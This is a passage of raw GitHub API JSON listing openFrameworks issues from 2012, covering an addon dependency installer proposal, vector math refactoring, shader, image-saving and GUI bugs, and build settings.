wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","comments":7,"milestone":null,"number":1063,"assignee":null,"closed_at":null,"title":"Automatic installer + dependencies handler","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-03-13T10:44:57Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3627067,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1063"},{"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1062,"assignee":null,"closed_at":null,"title":"regularize code for math addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-03-12T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3614231,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1062"},{"updated_at":"2012-03-13T13:07:11Z","body":"Just saw this is the documentation.\r\nVertexes is incorrect (wrong plural)\r\nVertices","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1055","comments":18,"milestone":null,"number":1055,"assignee":null,"closed_at":null,"title":"ofVertexes?? ofCurveVertexes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-03-12T01:50:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3605277,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1055"},{"updated_at":"2012-03-10T17:52:58Z","body":"if you have:\r\n\r\n uniform float dog;\r\n float cat;\r\n\r\nand:\r\n\r\n shader.setUniform1f(\"dog\", ofGetElapsedTimef());\r\n shader.setUniform1f(\"cat\", ofGetElapsedTimef());\r\n\r\nthere is no currently no error printed to the console, and \"cat\" is mysteriously unchanging while \"dog\" is fine.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052","comments":0,"milestone":null,"number":1052,"assignee":null,"closed_at":null,"title":"ofShader should show an error when using an invalid name","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2012-03-10T17:52:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3596240,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1052"},{"updated_at":"2012-03-14T15:11:08Z","body":"ofxiPhoneScreenGrab saves with compression artifacts.\r\nfix for saving a lossless image in the below post,\r\nhttp://forum.openframeworks.cc/index.php/topic,4737.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1051","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1051,"assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"ofxiPhoneScreenGrab saves with compression artifacts.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-03-10T12:15:33Z","state":"open","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3594731,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1051"},{"updated_at":"2012-03-14T15:09:09Z","body":"just wanted to kick off a discussion about cleaning up ofxiPhone folder structure.\r\nhave this up on the forum, http://forum.openframeworks.cc/index.php/topic,8955.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1050","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1050,"assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"clean up ofxiPhone folder structure.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-03-10T06:32:12Z","state":"open","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3593619,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1050"},{"updated_at":"2012-05-16T09:25:18Z","body":"This an implementation of ofxiPhoneScreenGrab for Android","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1048","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1048,"assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"Adding Android screenshot feature, example to demonstrate it","labels":[],"created_at":"2012-03-10T05:31:45Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262,"avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3593430,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1048.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1048.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1048"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1048"},{"updated_at":"2012-03-12T15:31:12Z","body":"whenever I try to open a file using system dialog from OF utils or ofxFileDIalogOSX, the video is loaded correctly but it get stuck and doesn't play at all. see:\r\nhttp://forum.openframeworks.cc/index.php/topic,5233.0.html\r\nhttp://forum.openframeworks.cc/index.php/topic,6515.0.html\r\n\r\nquite a big issue IMHO","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047","comments":8,"milestone":null,"number":1047,"assignee":null,"closed_at":null,"title":"opening video files with system dialog in osx prevents them to play correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"created_at":"2012-03-09T18:54:28Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","id":614123,"avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3587808,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1047"},{"updated_at":"2012-03-20T16:11:54Z","body":"just a small one but would be great. \r\nmaybe even different icon for debug and release? ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039","comments":12,"milestone":null,"number":1039,"assignee":null,"closed_at":null,"title":"make icons for OF apps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-03-06T17:56:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3528378,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1039"},{"updated_at":"2012-03-06T15:32:44Z","body":"right now it is not clear from a visual perspective what is a button / trigger and what is a toggle. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037","comments":1,"milestone":null,"number":1037,"assignee":null,"closed_at":null,"title":"ofxGui, ofxButton should look visually different to toggle","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-03-05T18:06:03Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3510933,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1037"},{"updated_at":"2012-04-10T19:29:53Z","body":"xml is one of the reasons this is currently an addon. \r\nthe original idea was to have something simple and minimal that could be in the core. \r\nalso something which could be built off of for larger gui addons ( hence ofParameter ) \r\n\r\nI see a couple of options going forward.\r\n\r\n1) swtich from xml to newline separated text files and move ofGui into core\r\nthis would be quite simple as ofParameter already has a name, value structure \r\n\r\n2) same as 1) but keep ofxGui as an addon - making it a bit simpler to add to a project \r\n2b) add ofParameter to core as it is more general purpose\r\n\r\n3) bring ofxXmlSettings into the core and bring ofGui into core.\r\n\r\n\r\nanyway I thought it would be good to get some discussion going about this.\r\nI'm especially interested in setting up ofParam and ofBaseGui in a way to make things modular and extendable. \r\n\r\nalso could be interesting to look at a way to represent a collection/group of ofParameters\r\nsome of this might be similar to some of the stuff @memo was doing with his plist style system. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036","comments":10,"milestone":null,"number":1036,"assignee":null,"closed_at":null,"title":"ofxGui -> ofGui - how/should we bring into core?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-03-05T16:56:26Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3509628,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1036"},{"updated_at":"2012-03-12T12:39:10Z","body":"If it finds .vert, .frag (and .geom?) files in the data/ folder, the project generator should make a new folder, in the project file, next to (or inside) src called data/ and add the files to it. (data/ so that beginners can find the files in Finder)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034","comments":3,"milestone":null,"number":1034,"assignee":null,"closed_at":null,"title":"projectGenerator ignores shader .vert and .frag files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"created_at":"2012-03-04T11:19:04Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3495602,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1034"},{"updated_at":"2012-03-06T15:06:00Z","body":"I talked to Arturo about this, but I want to make sure it's known. When you call ofLogSetLogLevel with a module string, that string is added to a map used to check the module's log level ... but right now that string is never removed.\r\n\r\nIf someone creates a large amount module names the map could grow arbitrarily large over time. The thought so far is that no one would make enough module names for it to be a problem.\r\n\r\nFor instance, using the [proposed ofThread rewrite](https://github.com/openframeworks/openFrameworks/pull/1031), each thread creates a new module name when it sets itself to verbose and, in the case of spawning lots of verbose worker threads, the map will grow.\r\n\r\nMy proposed solution would be to remove the module name from the map when the level for that module is set back to OF_LOG_NOTICE and/or to the current log level.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033","comments":11,"milestone":null,"number":1033,"assignee":null,"closed_at":null,"title":"ofSetLogLevel(module, level) adds to map but dosen't remove","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-03-04T10:54:12Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3495503,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1033"},{"updated_at":"2012-03-14T15:11:08Z","body":"this change c50648e29199a3f61eae05f6ceb350a97ab275d7 caused the problem. i'm not sure why adding explicit cases for handling loadData for ofShortPixels and ofFloatPixels would do this. to see the proof, run devApps/AdvancedImageLoading","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1029","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1029,"assignee":null,"closed_at":null,"title":"display of short + float textures are broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-03-03T19:04:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3491627,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1029"},{"updated_at":"2012-05-10T06:54:25Z","body":"I've just encountered a real 'wall meets head' bug, aka 'why is my camera image black??'\r\n\r\nwell it turns out that actually, ofSaveImage doesn't save mono images\r\nit just saves out black pixels\r\n\r\ntesting on Windows, VS2010.\r\nAnybody else getting this?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1028","comments":5,"milestone":null,"number":1028,"assignee":null,"closed_at":null,"title":"ofSaveImage / ofImage::saveImage() problem with OF_IMAGE_GRAYSCALE / OF_PIXELS_MONO","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2012-03-03T12:23:06Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3489266,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1028"},{"updated_at":"2012-05-16T09:25:13Z","body":"The Android example is basically a copy of the existing 3dModelBuilder example with some code changes to work with OpenGL ES","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1024","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1024,"assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"Fixing 3DModelBuilder to work with OpenGL ES, added Android example for it","labels":[],"created_at":"2012-03-02T16:55:29Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262,"avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3479768,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1024.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1024.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1024"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1024"},{"updated_at":"2012-03-30T16:34:06Z","body":"Continuation of http://forum.openframeworks.cc/index.php/topic,9095.msg42378.html#new\r\n\r\nNOTE: Things may have changed as the projects I'm using are all created using the older creation tools.\r\nCan somebody up to date please check?\r\n\r\nCurrently XCode's default project setting is /O2 for debug projects\r\nwhilst Visual Studio's is /O0\r\n\r\n/O0 generally makes the most sense for debug mode as it allows for effective program flow and variable tracking (because with /O2, lines of code and variables are commonly optimised away).\r\n\r\nIf we are worried that this will leave default users in a default 'slower state' then perhaps we could make release the default? Then people could be aware that they are selecting debug when they want to actually do some debugging?\r\nBut this may have other issues (such as some libraries might not perform as many checks as otherwise?)\r\n\r\nit might be worth making users more aware of the 2 options anyway, and then start using them consistently","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022","comments":12,"milestone":null,"number":1022,"assignee":null,"closed_at":null,"title":"Optimisation consistency","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-03-02T13:25:15Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3476540,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1022"},{"updated_at":"2012-03-01T19:42:09Z","body":"currently if MSAA is enabled, COLOR_ATTACHMENT[ 0 -> nSamples]_EXT are bound for MS blitting, which could overwrite your texture color attachments without notifying you [ i.e. setSamples(4); setNumTextures(4) ]. There may be some solution where numSamples*numTextures = maxAttachments, allowing for multisampled internal textures, but at the very least we should warn/notify that samples and textures won't play so nicely together, or try to allocate samples/textures in the remaining attachments and notify on overflow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019","comments":0,"milestone":null,"number":1019,"assignee":null,"closed_at":null,"title":"ofFbo needs consideration as far as MRT + MSAA","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-03-01T19:42:09Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271,"avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3462226,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1019"},{"updated_at":"2012-03-01T04:33:36Z","body":"there's a block in ofConstants which reads like:\r\n\r\n```c++\r\n#ifndef PI\r\n\t#define PI 3.14159265358979323846\r\n#endif\r\n\r\n#ifndef TWO_PI\r\n\t#define TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef M_TWO_PI\r\n\t#define M_TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef FOUR_PI\r\n\t#define FOUR_PI 12.56637061435917295385\r\n#endif\r\n\r\n#ifndef HALF_PI\r\n\t#define HALF_PI 1.57079632679489661923\r\n#endif\r\n\r\n#ifndef DEG_TO_RAD\r\n\t#define DEG_TO_RAD 